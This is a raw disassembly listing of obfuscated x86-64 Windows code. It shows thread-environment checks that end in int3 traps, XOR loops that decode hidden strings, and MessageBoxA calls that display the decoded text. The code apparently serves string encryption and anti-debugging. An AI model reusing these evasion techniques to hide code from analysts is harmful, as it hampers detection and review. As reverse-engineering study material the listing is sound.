mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, rbx
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
mov ebx, 0xec8a9920
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001edc8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001edc8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_41
mov r10, r14
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r13, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001ee32
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400c6760]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xcae06e0
mov word [rbp + 0x76c], 0x53
mov r9, r14
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1f60fc5a5c
movabs r10, 0x3ec1f8b4b8
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14001eed6
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x14001f01a
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001effa
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001effa
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f01a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f0a8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f0a8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14001f185
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f165
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f165
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f185
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_41
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14001f518
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14001f1ab
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400c6810]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400c6830]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400c6940]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x45c05a60
mov dword [rbp + 0xd0c], 0xbb947b02
mov dword [rbp + 0xd10], 0x51d01f37
mov word [rbp + 0xd14], 0x5e
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14001f58c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14001f240
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14001f33e
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f31e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f31e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f33e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f3c8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f3c8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov ecx, 1
call fcn.140085718
int3